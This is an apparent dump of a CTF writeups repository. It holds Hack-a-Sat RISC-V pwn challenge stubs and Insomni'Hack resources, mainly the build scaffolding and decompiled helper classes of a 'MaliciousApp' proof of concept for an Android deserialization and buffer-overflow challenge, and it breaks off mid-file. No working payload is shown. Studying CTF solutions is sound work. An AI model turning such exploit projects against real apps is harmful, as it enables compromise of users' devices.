--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/src/qemu-riscv-static:
--------------------------------------------------------------------------------
1 | /usr/bin/qemu-riscv32-static
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/RISC-V-Smash-Baby/src/smash-baby:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/hack-a-sat-23/pwn/RISC-V-Smash-Baby/src/smash-baby
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/dROP-Baby/src/drop-baby:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/hack-a-sat-23/pwn/dROP-Baby/src/drop-baby
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/dROP-Baby/src/hidden/server.ini:
--------------------------------------------------------------------------------
1 | Application Name:Baby dROP
2 | A1_MSG_LEN:40
3 | A2_MSG_LEN:10
4 | B1_MSG_LEN:20
5 | B2_MSG_LEN:300
6 | CC_MSG_LEN:25
7 | ZY_MSG_LEN:0
8 | SILENT_ERRORS:TRUE
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/dROP-Baby/src/qemu-riscv:
--------------------------------------------------------------------------------
1 | /usr/bin/qemu-riscv32
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/dROP-Baby/src/qemu-riscv-static:
--------------------------------------------------------------------------------
1 | /usr/bin/qemu-riscv32-static
--------------------------------------------------------------------------------
/hack-a-sat-23/pwn/dROP-Baby/src/server.ini:
--------------------------------------------------------------------------------
1 | hidden/server.ini
--------------------------------------------------------------------------------
/insomnihack2022/PimpMyVariant/resources/home.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/insomnihack2022/PimpMyVariant/resources/home.png
--------------------------------------------------------------------------------
/insomnihack2022/herald/Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/insomnihack2022/herald/Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk
--------------------------------------------------------------------------------
/insomnihack2022/herald/resources/app-flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/insomnihack2022/herald/resources/app-flag.png
--------------------------------------------------------------------------------
/insomnihack2022/herald/resources/app-running.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/insomnihack2022/herald/resources/app-running.png
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/README.md:
--------------------------------------------------------------------------------
1 | # CryptoNotes
2 |
3 | Categories: pwn, Android
4 |
5 | Description:
6 | > Insomni'Hack Teaser 2024 - CryptoNotes
7 | >
8 | > System Running:
9 | >
10 | > `system-images;android-30;google_apis_playstore;x86_64`
11 | >
12 | > author: dai
13 | >
14 | > [vuln.apk](./resources/app-a91690d6479014d533bea108755aba2424b45b4b416823ed0c821ae421f820eb.apk)
15 |
16 | **Tags:** pwn, Android, Intent, deserialization, stack buffer overflow
17 |
18 | The writeup for this challenge can be found in [chalkiadakis.me/posts/insomnihack-teaser24/cryptonotes](https://chalkiadakis.me/posts/insomnihack-teaser24/cryptonotes/). The PoC can be found in the [solution/](solution) directory.
19 |
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/resources/app-a91690d6479014d533bea108755aba2424b45b4b416823ed0c821ae421f820eb.apk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nikosChalk/ctf-writeups/c57a6c1f2514fd941d2ef8f811aaacd75716c462/insomnihack2024/CryptoNotes/resources/app-a91690d6479014d533bea108755aba2424b45b4b416823ed0c821ae421f820eb.apk
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea/caches
5 | /.idea/libraries
6 | /.idea/modules.xml
7 | /.idea/workspace.xml
8 | /.idea/navEditor.xml
9 | /.idea/assetWizardSettings.xml
10 | .DS_Store
11 | /build
12 | /captures
13 | .externalNativeBuild
14 | .cxx
15 | local.properties
16 |
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | # Sets the minimum version of CMake required to build your native library.
2 | # This ensures that a certain set of CMake features is available to
3 | # your build.
4 |
5 | cmake_minimum_required(VERSION 3.4.1)
6 |
7 | set(CMAKE_BUILD_TYPE RelWithDebInfo)
8 |
9 | # Specifies a library name, specifies whether the library is STATIC or
10 | # SHARED, and provides relative paths to the source code. You can
11 | # define multiple libraries by adding multiple add_library() commands,
12 | # and CMake builds them for you. When you build your app, Gradle
13 | # automatically packages shared libraries with your APK.
14 |
15 | find_library( # Defines the name of the path variable that stores the
16 | # location of the NDK library.
17 | log-lib
18 |
19 | # Specifies the name of the NDK library that
20 | # CMake needs to locate.
21 | log )
22 |
23 | add_library(mynativelib SHARED app/src/main/cpp/main.cpp)
24 |
25 | target_link_libraries( # Specifies the target library.
26 | mynativelib
27 | # Links the log library to the target library.
28 | ${log-lib} )
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/app/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id 'com.android.application'
3 | id 'org.jetbrains.kotlin.android'
4 | }
5 |
6 | android {
7 | compileSdk 32
8 |
9 | defaultConfig {
10 | applicationId "com.example.insomnipwn"
11 | minSdk 29
12 | targetSdk 32
13 | versionCode 1
14 | versionName "1.0"
15 |
16 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
17 | externalNativeBuild {
18 | cmake {
19 | cppFlags ''
20 | }
21 | }
22 | }
23 |
24 | buildTypes {
25 | release {
26 | minifyEnabled false
27 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
28 | }
29 | }
30 | compileOptions {
31 | sourceCompatibility JavaVersion.VERSION_1_8
32 | targetCompatibility JavaVersion.VERSION_1_8
33 | }
34 | kotlinOptions {
35 | jvmTarget = '1.8'
36 | }
37 | externalNativeBuild {
38 | cmake {
39 | path file('../CMakeLists.txt')
40 | version '3.18.1'
41 | }
42 | }
43 | }
44 |
45 | dependencies {
46 |
47 | implementation 'com.google.code.gson:gson:2.8.9'
48 | implementation 'androidx.core:core-ktx:1.7.0'
49 | implementation 'androidx.appcompat:appcompat:1.5.0'
50 | implementation 'com.google.android.material:material:1.6.1'
51 | implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
52 | testImplementation 'junit:junit:4.13.2'
53 | androidTestImplementation 'androidx.test.ext:junit:1.1.3'
54 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
55 | }
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
17 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/app/src/main/cpp/mylogger.h:
--------------------------------------------------------------------------------
1 |
2 |
3 | #ifndef MY_APPLICATION_MYLOGGER_H
4 | #define MY_APPLICATION_MYLOGGER_H
5 |
6 | #include
7 |
8 | #define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
9 | #define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
10 | #define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
11 | #define ALOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
12 | #define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
13 |
14 | #endif //MY_APPLICATION_MYLOGGER_H
15 |
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/app/src/main/java/com/inso/ins24/utils/CryptoConfig.java:
--------------------------------------------------------------------------------
1 | //Extracted from the target application via JADX
2 | package com.inso.ins24.utils;
3 |
4 | public class CryptoConfig {
5 | private byte[] ALGO;
6 | private String IN;
7 |
8 | public CryptoConfig(byte[] algo, String in) {
9 | this.ALGO = algo;
10 | this.IN = in;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/insomnihack2024/CryptoNotes/solution/MaliciousApp/app/src/main/java/com/inso/ins24/utils/JSONBuilder.java:
--------------------------------------------------------------------------------
1 | //Extracted from the target application via JADX
2 | package com.inso.ins24.utils;
3 |
4 | import android.os.Parcel;
5 | import android.os.Parcelable;
6 |
7 | import com.google.gson.Gson;
8 | import com.google.gson.GsonBuilder;
9 |
10 | public class JSONBuilder implements Parcelable {
11 | public static final Parcelable.Creator CREATOR = new Parcelable.Creator() {
12 | @Override // android.os.Parcelable.Creator
13 | public JSONBuilder[] newArray(int i) {
14 | return new JSONBuilder[i];
15 | }
16 | @Override // android.os.Parcelable.Creator
17 | public JSONBuilder createFromParcel(Parcel parcel) {
18 | return new JSONBuilder(parcel);
19 | }
20 | };
21 | private static final Gson JSON = new GsonBuilder().create();
22 | public Object data;
23 |
24 | public JSONBuilder(Object data) {
25 | this.data = data;
26 | }
27 |
28 | private JSONBuilder(Parcel parcel) {
29 | try {
30 | this.data = JSON.fromJson(parcel.readString(), (Class